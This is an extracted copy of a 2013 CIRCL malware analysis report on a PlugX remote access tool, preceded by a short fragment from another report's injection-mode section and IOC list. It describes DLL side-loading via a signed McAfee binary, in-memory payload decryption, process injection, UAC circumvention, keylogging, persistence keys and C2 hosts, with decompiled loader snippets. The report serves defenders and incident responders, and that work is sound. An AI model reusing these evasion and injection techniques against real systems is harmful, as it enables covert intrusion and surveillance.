Payload Injection Mode Commandline: gpsvc.exe -k param1 param2 In this mode the module assumes that it can be a service binary, so it tries to behave as service.
If it fails it falls back to regular standalone executable mode.
Main purpose of this code is to find payload in the registry, decrypt it and inject into target process memory.
The payload is stored in the following registry value: HKLM\SYSTEM\CurrentControlSet\services\servicename\Security\Data2 It is encrypted with RC4, and key is taken from the registry using the following binary value (16 bytes): HKLM\SYSTEM\CurrentControlSet\services\servicename\Security\Data3.
The cryptocontainer used by this module contains a magic value after its decrypted with MD5 of the secret passed via commandline and hardcoded RC4 key.
At offset 4 it has to contain the following DWORD: 0xBC0F1DAD (AD 1D 0F BC).
Appendix: Indicator of Compromise Malware Hosts sap.misapor[.
]ch tradeboard.mefound[.
]com:443 movis-es.ignorelist[.
]com:443 update.toythieves[.
]com:8080 update.toythieves[.
]com:443 exbonus.mrbasic[.
]com:443 Malware Hashes 02f75c2b47b1733f1889d6bbc026157c 06cd99f0f9f152655469156059a8ea25 07e13b985c79ef10802e75aadfac6408 09a77c0cb8137df82efc0de5c7fee46e 0abdaebbdbd5e6507e6db15f628d6fd7 16a278d0ec24458c8e47672529835117 17bc6f5b672b7e128cd5df51cdf10d37 198760a270a19091582a5bd841fbaec0 1bfbc0c9e0d9ceb5c3f4f6ced6bcfeae 1d0e79feb6d7ed23eb1bf7f257ce4fee 268dca9ad0dcb4d95f95a80ec621924f 2963cd266e54bd136a966bf491507bbf 2de01aac95f8703163da7633993fb447 2ef2703cfc9f6858ad9527588198b1b6 3b1dfeb298d0fb27c31944907d900c1d 459593079763f4ae74986070f47452cf 474f08fb4a0b8c9e1b88349098de10b1 579e45a09dc2370c71515bd0870b2078 5d0ffbc8389f27b0649696f0ef5b3cfe 5ebfe9a9ab9c2c4b200508ae5d91f067 5fbfeec97e967325af49fa4f65bb2265 6eec1de7708020a25ee38a0822a59e88 7413f08e12f7a4b48342a4b530c8b785 8387ceba0c020a650e1add75d24967f2 85d316590edfb4212049c4490db08c4b 949e1e35e09b25fca3927d3878d72bf4 954f50301207c52e7616cc490b8b4d3c 9d1db33d89ce9d44354dcba9ebba4c2d ad5485fac7fed74d112799600edb2fbf b135a56b0486eb4c85e304e636996ba1 b9be8d53542f5b4abad4687a891b1c03 bbd703f0d6b1cad4ff8f3d2ee3cc073c c1364bbf63b3617b25b58209e4529d8c c635e0aa816ba5fe6500ca9ecf34bd06 cb65d885f4799dbdf80af2214ecdc5fa ce6e55abfe1e7767531eaf1036a5db3d e29fe3c181ac9ddbb242688b151f3310 e62a52073fd7bfd251efca9906580839 f5e0f57684e9da7ef96dd459b554fded fde55de117cc611826db0983bc054624
Analysis Report (TLP:WHITE) Analysis of a PlugX variant (PlugX version 7.0) Conducted by CIRCL - Computer Incident Response Center Luxembourg Team CIRCL March 29, 2013 Document version: 1.0 CIRCL - Computer Incident Response Center Luxembourg March 29, 2013CIRCL - Computer Incident Response Center Luxembourg March 29, 2013CIRCL - Computer Incident Response Center Luxembourg March 29, 2013 Contents 1 Scope of work 3 2 Analyzed samples 3 2.1 Limitations . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6 2.2 Sharing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6 3 Executive summary 6 4 Analysis 6 4.1 Techniques used .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6 4.2 Execution process .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7 4.2.1 Diagram . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7 4.2.2 Explanation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7 4.3 Implemented commands .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
10 4.4 Command details .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12 4.4.1 Option .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12 4.4.2 Disk . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12 4.4.3 Screen .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12 4.4.4 Process . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12 4.4.5 Service .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12 4.4.6 Shell . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
12 4.4.7 Telnet .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13 4.4.8 RegEdit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13 4.4.9 Nethood . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13 4.4.10 Portmap . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13 4.4.11 SQL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13 4.4.12 Netstat . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13 4.4.13 Keylogger .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13 4.5 Other notable commands and functions . . . . . . . . . . . . . . . . . . . . . . .
13 4.5.1 log .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
13 4.6 Persistency . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
15 4.7 Control . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
15 4.8 Network and domain information . . . . . . . . . . . . . . . . . . . . . . . . . . .
16 4.8.1 Network . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
16 4.8.2 Domain . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
17 4.9 Current version and history of PlugX . . . . . . . . . . . . . . . . . . . . . . . . .
18 A Appendix 18 A.1 Indicators of Compromise (IOC) . . . . . . . . . . . . . . . . . . . . . . . . . . .
18 A.1.1 Pipes .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
18 A.1.2 Files and directories .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . .
18 A.1.3 Registry . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
19 A.1.4 Network (hostname and destination IP addresses) . . . . . . . . . . . . .
19 A.2 References .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
19 A.3 VirusTotal results .
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20 Page 2 of 21 CIRCL - Computer Incident Response Center Luxembourg c/o smile - security made in Ltzebuerg GIE 41, avenue de la gare, L-1611 Luxembourg (352) 247 88444 - infocircl.lu  www.circl.lu CIRCL - Computer Incident Response Center Luxembourg March 29, 2013CIRCL - Computer Incident Response Center Luxembourg March 29, 2013CIRCL - Computer Incident Response Center Luxembourg March 29, 2013 1 Scope of work This report is the analysis of a Remote Access Tool (RAT) which we call a variant of Plugx1.
Plugx is an interesting piece of malware for several reasons: It demonstrates the attack principle of the fastest/cheapest path of attack2 by abusing perfectly valid signed binaries to perform the attack It features ways to defeat other protection mechanisms like UAC3 In contrast to many other pieces of malware, the author4 shows the ability to write good code, especially doing logging the right way to improve the piece of software It appears to be modularized and easily extensible 2 Analyzed samples Sample A - Stage 1 of Malware Description Hash found in a malware database Original filename update.exe Hashes MD5: f1f48360f95e1b43e9fba0fec5a2afb8 SHA1: 70ceb467db7b0161d22e4545479f747417b9705a SHA-256: 2bc5ce39dd9afe2157448d3f6d8cb9c549ed39543d159616e38480b9e6c11c49 Filetype PE32 executable (GUI) Intel 80386, for MSWindows, RAR self-extracting archive Filesize 370702 Bytes (326KB) Compile time Sat Jun 9 15:19:49 2012 Sample B - Valid, signed McAfee binary Description File dropped by Sample A Original filename mcvsmap.exe Hashes 1Known variant names: Gulpix, Korplug 2http://satoss.uni.lu/seminars/srm/pdfs/2012-Alexandre-Dulaunoy.pdf 3http://msdn.microsoft.com/en-us/library/windows/desktop/bb756996.aspx 4For better readability we do not distinguish between a single author or a group of authors.
Hence the expression is a synonym for the authors Page 3 of 21 CIRCL - Computer Incident Response Center Luxembourg c/o smile - security made in Ltzebuerg GIE 41, avenue de la gare, L-1611 Luxembourg (352) 247 88444 - infocircl.lu  www.circl.lu http://satoss.uni.lu/seminars/srm/pdfs/2012-Alexandre-Dulaunoy.pdf http://msdn.microsoft.com/en-us/library/windows/desktop/bb756996.aspx CIRCL - Computer Incident Response Center Luxembourg March 29, 2013CIRCL - Computer Incident Response Center Luxembourg March 29, 2013CIRCL - Computer Incident Response Center Luxembourg March 29, 2013 MD5: 4e1e0b8b0673937415599bf2f24c44ad SHA1: 9224de3af2a246011c6294f64f27206d165317ba SHA-256: ae16e10e621d6610a3f7f2c7122f9d1263700ba02d1b90e42798decb2fe84096 Filetype PE32 executable (GUI) Intel 80386, for MS Windows Filesize 262672 Bytes (257K) Compile time Fri May 8 17:59:52 2009 Authenticode5 verification 1 Ver i f i ed : Signed 2 Signers : 3 McAfee , Inc .
4 VeriSign Class 3 Code Signing 2004 CA 5 Class 3 Public Primary Cer t i f i c a t i on Authority 6 Signing date : 5:24 PM 5/8/2009 7 Publisher : McAfee , Inc .
8 Description : McAfee VirusMap Reporting module 9 Product : McAfee VirusScan API 10 Version : 13 ,11 ,0 ,0 11 Fi l e vers ion : 13 ,11 ,102 ,0 12 Strong Name: Unsigned 13 Original Name: McVsMap.
EXE 14 Interna l Name: McVsMap 15 Copyright : Copyright  2008 McAfee , Inc .
16 Comments : n/a 17 MD5: 4e1e0b8b0673937415599bf2f24c44ad 18 SHA1: 9224de3af2a246011c6294f64f27206d165317ba 19 SHA256: ae16e10e621d6610a3f7f2c7122f9d1263700ba02d1b90e42798decb2fe84096 Sample C - DLL to be loaded by Sample B, loads Sample D Description File dropped by Sample A Original filename McUtil.
DLL Hashes MD5: ad4a646b38a482cc07d5b09b4fffd3b3 SHA1: ae0f9bf2740d00c5d485827eb32aca33feaa3a90 SHA-256: 0a99238e1ebebc47d7a89b2ccddfae537479f7f77322b5d4941315d3f7e5ca48 Filetype PE32 executable (DLL) (GUI) Intel 80386, for MS Windows Filesize 49152 Bytes (48K) 5http://msdn.microsoft.com/en-us/library/ms53735928vvs.8529.aspx Page 4 of 21 CIRCL - Computer Incident Response Center Luxembourg c/o smile - security made in Ltzebuerg GIE 41, avenue de la gare, L-1611 Luxembourg (352) 247 88444 - infocircl.lu  www.circl.lu http://msdn.microsoft.com/en-us/library/ms53735928vvs.8529.aspx CIRCL - Computer Incident Response Center Luxembourg March 29, 2013CIRCL - Computer Incident Response Center Luxembourg March 29, 2013CIRCL - Computer Incident Response Center Luxembourg March 29, 2013 Compile time Wed Mar 13 02:52:28 2013 Sample D - Malicious payload to be loaded by Sample C Description File dropped by Sample A Original filename McUtil.
DLL.PPT Hashes MD5: 545bb4365a9b7cdb6d22844ebeedda93 SHA1: a267f1183b4ff843d68a63264846abf78cc71d1f SHA-256: d4fe890a08d4dd44b58a3b85b2a7e89536338099c1c42a9b7e85f4007b0a37b7 Filetype pure code (IA32) without headers Filesize 124820 Bytes (122K) Compile time unknown (pure code) Sample E - Stage 2 of Malware Description Extracted malware from memory Original filename dump00C60000.bin Hashes MD5: 65ceb039e7b4731a165cfee081e220af SHA1: b49766187971e3070644a9de2054bc93241b2263 SHA-256: deeac56026f3804968348c8afa5b7aba10900aeabee05751c0fcac2b88cff71e Filetype PE32 executable (DLL) (GUI) Intel 80386, for MS Windows Filesize 176128 Bytes (172K) Compile time Mon Nov 26 04:46:01 2012 Sample F - UAC circumvention Description File temporarily created on filesystem Original filename Page 5 of 21 CIRCL - Computer Incident Response Center Luxembourg c/o smile - security made in Ltzebuerg GIE 41, avenue de la gare, L-1611 Luxembourg (352) 247 88444 - infocircl.lu  www.circl.lu CIRCL - Computer Incident Response Center Luxembourg March 29, 2013CIRCL - Computer Incident Response Center Luxembourg March 29, 2013CIRCL - Computer Incident Response Center Luxembourg March 29, 2013 UAC.TMP Hashes MD5: 52df5c2c07433e2a8f054c2347acb3b4 SHA1: 8051474c1fc0d8f404a42ea32eca1699e54f02e1 SHA-256: dc09091e5d0ce03c6144748f17bd636f2f0b2ca56f88b550c1d48860596dbdb1 Filetype PE32 executable (DLL) (GUI) Intel 80386, for MS Windows Filesize 2560 Bytes (2.5K) Compile time Thu Mar 29 08:03:43 2012 2.1 Limitations This work has been done with utmost care, following best practices in software reversing, forensic investigations and/or information gathering.
However, the work is only covering small aspects (based on the indicators given, lacking full context) and not an exhaustive analysis, and hence the report is as-is, not giving any guarantees of completeness or claiming absolute accuracy.
This work is provided for information only.
2.2 Sharing The document is classified as TLP:WHITE, CIRCL authorizes everyone to share this analysis report as-is without modification.
3 Executive summary The analyzed malicious software is an exhaustive Remote Access Tool (RAT) that defeats several protection methods of modern Windows operating systems, including execution of signed code and defeating UAC in Windows 7.
It comes with a multitude of functionalities that are well implemented.
4 Analysis 4.1 Techniques used The analysis has been done using a mixed-approach of dynamic analysis and static analysis in order to overcome some of the obfuscation and encryptions used by the malware.
Some of the techniques might have also an impact on the interpretation of the malware.
Unfortunately, when we started this investigation, the IP address is no longer accepting connections on the given ports when tested on 2013-03-26.
An interaction following the protocol of this malware is therefore no longer possible.
Page 6 of 21 CIRCL - Computer Incident Response Center Luxembourg c/o smile - security made in Ltzebuerg GIE 41, avenue de la gare, L-1611 Luxembourg (352) 247 88444 - infocircl.lu  www.circl.lu CIRCL - Computer Incident Response Center Luxembourg March 29, 2013CIRCL - Computer Incident Response Center Luxembourg March 29, 2013CIRCL - Computer Incident Response Center Luxembourg March 29, 2013 4.2 Execution process 4.2.1 Diagram ..
Sample A .Sample C.Sample B .Sample D .Sample E .drops .drops .drops .loads .into .loads .into .execution .decryption .svchost.exe .msiexec.exe .execution .execution .kill .inject .inject .
Sample F .Windows 7 : defeat UAC .
.
Signed code .
Neutral code .Malicious code .Legend 4.2.2 Explanation Sample A is a self-extracting archive which contains three files, Sample B, Sample C and Sample D. It is assumed that Sample A is a part of another attack vector, like PDF or Office document attacks where the user just opens a crafted document which exploits the document reader, drops and opens both a readable document and a malicious file like Sample A.
1 Type  Rar 2 Sol id Page 7 of 21 CIRCL - Computer Incident Response Center Luxembourg c/o smile - security made in Ltzebuerg GIE 41, avenue de la gare, L-1611 Luxembourg (352) 247 88444 - infocircl.lu  www.circl.lu CIRCL - Computer Incident Response Center Luxembourg March 29, 2013CIRCL - Computer Incident Response Center Luxembourg March 29, 2013CIRCL - Computer Incident Response Center Luxembourg March 29, 2013 3 Blocks  3 4 Multivolume 5 Volumes  1 6 7 Date Time Attr Size Compressed Name 8 9 20090514 00:56:12 . . .
.A 262672 119784 mcvsmap.
exe 10 20130313 09:52:28 . . .
.A 49152 20285 McUtil .DLL 11 20130313 14:56:12 . . .
.A 124820 124820 McUtil .DLL.PPT 12 13 436644 264889 3 f i l e s , 0 f o ld e r s Executing the self-extracting archive extracts the files and runs mcvsmap.exe (Sample B).
Sample B is a valid signed file that the author of the malware took from a software bundle from McAfee.
Sample B, when executed, attempts to load a file McUtil.
DLL from the same directory, which usually is another component of McAfee.
The malware author instead bundled the valid McAfee file Sample B with a custom DLL (Sample C).
Since the file will be loaded without hesitation (there are no protection mechanisms implemented neither does McAfee check if the imported file meets any conditions nor is any protection implemented for loading unsigned libraries in signed code), the signed Sample B jumps into the beginning of the code section of Sample C (via Push/Return): At the target location the following code is executed: 1 read_execute_file ( ) 2 3 NumberOfBytesRead  GetModuleFileNameW(hModule , filename , 0x2000u) 4 lstrcatW(filename , L.PPT ) 5 hFile_mcutil .
d l l .
ppt  CreateFileW(filename , GENERIC_READ, 1u , 0 , OPEN_EXISTING, 0 , 0) 6 if ( hFile_mcutil .
d l l .
ppt  1 ) 7 8 re su l t  GetLastError () 9 10 else 11 12 buf fe r  VirtualAl loc (0 , 0x100000u , MEM_COMMIT, PAGE_EXECUTE_READWRITE) 13 if ( buf fer  ReadFile ( hFile_mcutil .
d l l .
ppt , buffer , 0x100000u , NumberOfBytesRead , 0) ) 14 15 CloseHandle ( hFile_mcutil .
d l l .
ppt ) 16 buf fer ( ) 17 Sleep (0xFFFFFFFF) 18 Sleep (0xFFFFFFFF) 19 Sleep (0xFFFFFFFF) 20 r e su l t  0 21 22 else 23 24 r e su l t  GetLastError () Page 8 of 21 CIRCL - Computer Incident Response Center Luxembourg c/o smile - security made in Ltzebuerg GIE 41, avenue de la gare, L-1611 Luxembourg (352) 247 88444 - infocircl.lu  www.circl.lu CIRCL - Computer Incident Response Center Luxembourg March 29, 2013CIRCL - Computer Incident Response Center Luxembourg March 29, 2013CIRCL - Computer Incident Response Center Luxembourg March 29, 2013 25 26 27 return r e su l t 28 The code retrieves the filename of itself (line 3), which is McUtil.
DLL, and appends .PPT (line 4).
A handle to the filename McUtil.
DLL.PPT is created in line 5.
In line 12 an exectuable memory region is created, which is filled with the content of the file McUtil.
DLL.PPT (line 13).
After closing the handle to the file (line 15), the memory region is called (line 16).
The next screenshot shows that the memory contains only pure code without any overhead like MZ/PE headers.
The entropy of this file is 7.997904 bits per byte: The code, when executed, reveals the first hint about what we found: It decompresses and decrypts itself, using the Microsoft API call RtlDecompressBuffer and the custom decryption routine: Page 9 of 21 CIRCL - Computer Incident Response Center Luxembourg c/o smile - security made in Ltzebuerg GIE 41, avenue de la gare, L-1611 Luxembourg (352) 247 88444 - infocircl.lu  www.circl.lu CIRCL - Computer Incident Response Center Luxembourg March 29, 2013CIRCL - Computer Incident Response Center Luxembourg March 29, 2013CIRCL - Computer Incident Response Center Luxembourg March 29, 2013 1 int crypt ( unsigned int a1 , int a2 , int a3 , int a4 ) 2 3 if ( a4  0 ) 4 5 v10  a3  a2 6 do 7 8 a1  a1  (a1  3)  0x11111111 9 a1  a1  (a1  5)  0x22222222 10 a1  0x44444444  (a1  9) 11 a1  0x33333333  (a1  7) 12 v7  (v10  a2)  (a1  a1  a1  a1) 13 v8  a4  1 14 (a2  1)  v7 15 16 while (  v8 ) 17 18 return 0 19 The decrypted and decompressed file is not written onto disk, it always remains in memory.
Sample E is the extracted version of this memory segment.
At this point it can be mentioned that neither the encrypted Sample D nor the decrypted memory segment Sample E are detected by Virus scanners.
After some initialisation work like adjusting tokens (SeDebugPrivilege, SeTcbPrivileg6 , to act as part of the operating system), a new process is started, the original svchost.exe from Microsoft, and the code from Sample E is injected into the memory of that process.
In a next step, svchost.exe is instructed to execute the original msiexec.exe from Microsoft, where also memory is injected like it has been done for svchost.exe.
Special conditions apply when run under Window 7, which is protected by User Account Control (UAC).
UAC is supposed to protect the user better from running malware by requesting the administator for approval before running a potentially dangerous application.
In the environment of Windows 7, the malware drops temporarily file Sample F, which it uses to evade or defeat the UACmechanism.
After killing the parent processes, only two processes are left: svchost and msiexec.
Both are verified binaries, none of the includes a malicious DLL.
Nevertheless, they both contain the malicious code.
At this point in time the malware is already talking to the CC, no user interaction was required, all standard security mechanisms were defeated.
4.3 Implemented commands The analysis of Sample B revealed the commands as shown in the table below: 6http://technet.microsoft.com/en-us/library/bb457125.aspx Page 10 of 21 CIRCL - Computer Incident Response Center Luxembourg c/o smile - security made in Ltzebuerg GIE 41, avenue de la gare, L-1611 Luxembourg (352) 247 88444 - infocircl.lu  www.circl.lu CIRCL - Computer Incident Response Center Luxembourg March 29, 2013CIRCL - Computer Incident Response Center Luxembourg March 29, 2013CIRCL - Computer Incident Response Center Luxembourg March 29, 2013 Table 1: Implemented commands Source file Internal command subcommand Description XPlugOption.cpp Option 0x2000 lock workstation 0x2001 shutdown workstation (forced) 0x2002 reboot workstation 0x2003 shutdown workstation (graceful) 0x2005 show messagebox XPlugDisk.cpp Disk 0x3000 enumerate drives 0x3001 find file 0x3002 find file recursively 0x300A create directory 0x3004 read file 0x3007 write file 0x300D file copy/rename/delete/move 0x300C create process on hidden desktop 0x300E get expanded environment string XPlugScreen.cpp Screen 0x4000 Remote Desktop capabilities 0x4004 send mouse event 0x4005 send keyboard event 0x4006 send CTRL-Alt-Delete 0x4100 take screenshot XPlugProcess.cpp Process 0x5000 create process 0x5001 enumerate processes 0x5002 kill process XPlugService.cpp Service 0x6000 query service config 0x6001 change service config (forced) 0x6002 start service 0x6003 control service 0x6004 delete service XPlugShell.cpp Shell 0x7002 start a cmd shell XPlugTelnet.cpp Telnet 0x7100 start telnet server XPlugRegedit.cpp RegEdit 0x9000 enumerate keys 0x9001 create key 0x9002 delete key 0x9003 copy key 0x9004 enumerate values 0x9005 set value 0x9006 delete value 0x9007 get value XPlugNethood.cpp Nethood 0xA000 enumerate network resources XPlugPortMap.cpp Portmap 0xB000 starts port mapping XPlugSQL.cpp SQL 0xC000 get data source information 0xC001 get driver description 0xC002 execute statement XPlugNetstat.cpp Netstat 0xD000 get TCP table 0xD001 get UDP table 0xD002 set TCP entry XPlugKeyLogger.cpp Keylogger 0xE000 starts key logger thread Page 11 of 21 CIRCL - Computer Incident Response Center Luxembourg c/o smile - security made in Ltzebuerg GIE 41, avenue de la gare, L-1611 Luxembourg (352) 247 88444 - infocircl.lu  www.circl.lu CIRCL - Computer Incident Response Center Luxembourg March 29, 2013CIRCL - Computer Incident Response Center Luxembourg March 29, 2013CIRCL - Computer Incident Response Center Luxembourg March 29, 2013 4.4 Command details 4.4.1 Option XPlugOption implements commands to lock the workstation, shut it down or reboot it.
In addition, XPlugOption can create a thread that calls MessageBoxW() in order to present a message box to the user.
4.4.2 Disk XPlugDisk is used to enumerate connected disk drives and can be used to find and manipulate files and directories.
In addition, XPlugDisk can be used to create a process, optionally on a hidden Windows desktop with the name HH, as the code below illustrates: 1 if ( a1hidden ) 2 3 hDesktop  CreateDesktopW(LHH , 0 , 0 , 0 , 0x10000000u , 0) 4 if (  hDesktop ) 5 log (XPlugDisk.cpp , 665 , 0) 6 7 hidden  a1hidden 8 StartupInfo .
lpDesktop  (hidden  0 ?
LHH : 0) 9 StartupInfo .
cb  68 10 StartupInfo .
dwFlags  1 11 StartupInfo .wShowWindow  hidden  0 12 if ( CreateProcessW(0 , a1commandline , 0 , 0 , 0 , 0 , 0 , 0 , StartupInfo , ProcessInformation ) ) 13 14 . . .
15 4.4.3 Screen XPlugScreen is not only taking screenshots, it is also implementing remote desktop capabilities.
It is able to capture the screen (internal command: ScreenT1) and can send mouse and keyboard events (internal command: ScreenT2).
4.4.4 Process XPlugProcess implements three commands and is able to enumerate, create and kill processes.
4.4.5 Service In the module XPlugService commands are available related to Windows services.
Code is implemented to query service configurations, change service configuration, start, control and delete services.
4.4.6 Shell A remote shell for the attacker is created in the module XPlugShell, by creating an asynchronous set of pipes (\pipe\a and \pipe\b) for cmd.exe and the console attached to it (AttachConsole()).
Page 12 of 21 CIRCL - Computer Incident Response Center Luxembourg c/o smile - security made in Ltzebuerg GIE 41, avenue de la gare, L-1611 Luxembourg (352) 247 88444 - infocircl.lu  www.circl.lu CIRCL - Computer Incident Response Center Luxembourg March 29, 2013CIRCL - Computer Incident Response Center Luxembourg March 29, 2013CIRCL - Computer Incident Response Center Luxembourg March 29, 2013 4.4.7 Telnet cmd.exe /Q is executed in the module XPlugTelnet in order to start a telnet server on the attacked machine.
4.4.8 RegEdit XPlugRegedit implements a set of commands to process the Windows registry.
It is able to enumerate, create, delete and copy keys.
It is also able to enumerate, set, delete and get values from the registry.
4.4.9 Nethood XPlugNethood is the module to enumerate network resources like network shares.
4.4.10 Portmap XPlugPortMap indicates that it performs some port mapping, however, the code is not under- stood, yet.
4.4.11 SQL XPlugSQL implements three functions to query SQL servers: a function to get data source information, a function to get the driver description and a function to execute SQL statements.
4.4.12 Netstat XPlugNetstat gets the TCP and UDP connection table and is able to set TCP table entries.
4.4.13 Keylogger The keylogger implemented in XPlugKeyLogger catches Window titles, date, time and logs entered keys into the file 1 C:\Documents and Sett ings \All Users\VirusMap\NvSmart .
hlp It has the format following the example below: 1 20130326 09:40:57  C:\Program Fi l e s \Mozil la Firefox\ f i r e f o x .
exe  Mozil la Firefox 2 www.
google .
com 3 4 20130326 09:47:49  C:\WINDOWS\system32\notepad .
exe  Untitled  Notepad 5 This i s not a password 6 7 20130326 09:48:06  C:\WINDOWS\Explorer .EXE  C:\Documents and Sett ings \All Users\ VirusMap 4.5 Other notable commands and functions 4.5.1 log This function is called almost everywhere when the author expects that a functions returns an error, at 1036 places.
This is obviously done to ensure code quality.
Page 13 of 21 CIRCL - Computer Incident Response Center Luxembourg c/o smile - security made in Ltzebuerg GIE 41, avenue de la gare, L-1611 Luxembourg (352) 247 88444 - infocircl.lu  www.circl.lu CIRCL - Computer Incident Response Center Luxembourg March 29, 2013CIRCL - Computer Incident Response Center Luxembourg March 29, 2013CIRCL - Computer Incident Response Center Luxembourg March 29, 2013 1 write_log (LPCWSTR lpBuffer ) 2 3 ExpandEnvironmentStringsW(LALLUSERSPROFILE , path_to_bug .
log , 0x800u) 4 // ALLUSERSPROFILE\SxS\bug .
log 5 lstrcatW(path_to_bug .
log , L\\SxS ) 6 CreateDirectoryW(path_to_bug .
log , 0) 7 SetFileAttributesW(path_to_bug .
log , 6u) 8 lstrcatW(path_to_bug .
log , L\\bug.log ) 9 r e su l t  CreateFileW(path_to_bug .
log , 0x40000000u , 1u , 0 , 4u , 2u , 0) 10 if ( r e su l t  1 ) 11 12 if ( SetFi lePointer ( resu l t , 0 , 0 , 2u)  1 ) 13 14 GetLocalTime(SystemTime) 15 NumberOfBytesWritten  wsprintfW( 16 Buffer , 17 L4.4d-2.2d-2.2d 2.2d:2.2d:2.2d:  , 18 SystemTime .wYear , 19 SystemTime .wMonth, 20 SystemTime .wDay, 21 SystemTime .wHour , 22 SystemTime .wMinute , 23 SystemTime .wSecond) 24 if ( WriteFile ( resu l t , Buffer , 2  NumberOfBytesWritten , NumberOfBytesWritten , 0) ) 25 26 len  lstrlenW ( lpBuffer ) 27 WriteFile ( resu l t , lpBuffer , 2  len , len , 0) 28 29 30 re su l t  CloseHandle ( r e su l t ) 31 32 return r e su l t 33 Example log file entries from file 1 ALLUSERSPROFILE\SxS\bug .
log 1 20130325 11 :43 :28 : f i l e : XSetting .
h , l i n e : 57 , er ror : [1300 ]Not a l l p r i v i l e g e s re ferenced are assigned to the c a l l e r .
2 20130325 11 :51 :12 : f i l e : XInstallUAC .
cpp , l i n e : 162 , error : [ 5 ] Access i s denied .
3 20130325 13 :59 :45 : f i l e : XRTL.
cpp , l i n e : 186 , er ror : [1300 ]Not a l l p r i v i l e g e s re ferenced are assigned to the c a l l e r .
4 20130325 14 :07 :12 : f i l e : XRTL.
cpp , l i n e : 186 , er ror : [ 123 ]The filename , d i rectory name, or volume labe l syntax i s incor rec t .
5 20130325 14 :07 :12 : f i l e : XSetting .
h , l i n e : 58 , er ror : [ 3 ]The system cannot f ind the path spe c i f i ed .
6 20130325 14 :21 :12 : f i l e : dllmain .
cpp , l i n e : 47 , er ror : [1300 ]Not a l l p r i v i l e g e s re ferenced are assigned to the c a l l e r .
7 20130325 17 :31 :58 : f i l e : XInsta l l .
cpp , l i n e : 451 , er ror : [ 5 ] Access i s denied .
8 20130325 17 :37 :00 : f i l e : XSoTcpHttp .
cpp , l i n e : 646 , er ror : [12029] In addition an exception filter is installed to fetch the circumstances of otherwise not caught errors: 1 TopLevelExceptionFilter ( struct_a1_30 a1) 2 3 . . .
4 if ( wsprintfA ( 5 OutputString , Page 14 of 21 CIRCL - Computer Incident Response Center Luxembourg c/o smile - security made in Ltzebuerg GIE 41, avenue de la gare, L-1611 Luxembourg (352) 247 88444 - infocircl.lu  www.circl.lu CIRCL - Computer Incident Response Center Luxembourg March 29, 2013CIRCL - Computer Incident Response Center Luxembourg March 29, 2013CIRCL - Computer Incident Response Center Luxembourg March 29, 2013 6 EName:s,EAddr:0xp,ECode:0xp,EAX:p,EBX:p,ECX:p,EDX:p,ESI:p,EDI:p,EBP :p,ESP:p,EIP:p\r\n , 7 String1 , 8 a1ECode [ 3 ] , 9 a1ECode , 10 v6reg_eax , 11 v6reg_ebx , 12 v6reg_ecx , 13 v6reg_edx , 14 v6reg_esi , 15 v6reg_edi , 16 v6reg_ebp , 17 v6reg_esp , 18 v6reg_eip )  256 ) 19 log (XException.cpp , 39 , 0) 20 call_write_log(OutputString ) 21 call_OutputDebugStringA(OutputString ) 22 . . .
23 4.6 Persistency The three files Sample B, C and D are copied into the directory 1 C:\Documents and Sett ings \All Users\VirusMap respectively in 1 C:\ProgramData\VirusMap (C:\ Users\All Users\VirusMap) After that, a new registry entry is set: 1 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run which calls mcvsmap.exe (Sample B) after login.
Another option is the installation as a service in 1 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Serv ices \VirusMap The key Imagepath calls the same binary mcvsmap.exe (Sample B).
4.7 Control The attacked computer uses TCP and UDP to connect to port 443 on help.yahoo-upgrade.com (122.199.194.197).
Unfortunately, the machine at that IP address doesnt seem to reply to our requests anymore on 2013-03-26.
The Passive DNS showed some other associated domains and hostnames with this IP address: 1 help .
yahooupgrade .com 2 support .
yahooupgrade .com 3 update .
ayuisyahooapis .
com 4 support .
ayuisyahooapis .
com 5 update .
trendmicrosoft .
co .
in Its highly probable that theses hostnames were also used for other campaigns.
You might use these as additional indicators for the detection of potential infections.
Page 15 of 21 CIRCL - Computer Incident Response Center Luxembourg c/o smile - security made in Ltzebuerg GIE 41, avenue de la gare, L-1611 Luxembourg (352) 247 88444 - infocircl.lu  www.circl.lu CIRCL - Computer Incident Response Center Luxembourg March 29, 2013CIRCL - Computer Incident Response Center Luxembourg March 29, 2013CIRCL - Computer Incident Response Center Luxembourg March 29, 2013 4.8 Network and domain information 4.8.1 Network The IP address is located in the ASN 17877 and the ISP is not a known bulletproof hoster as you can see on its historical7 BGP ranking evolution.
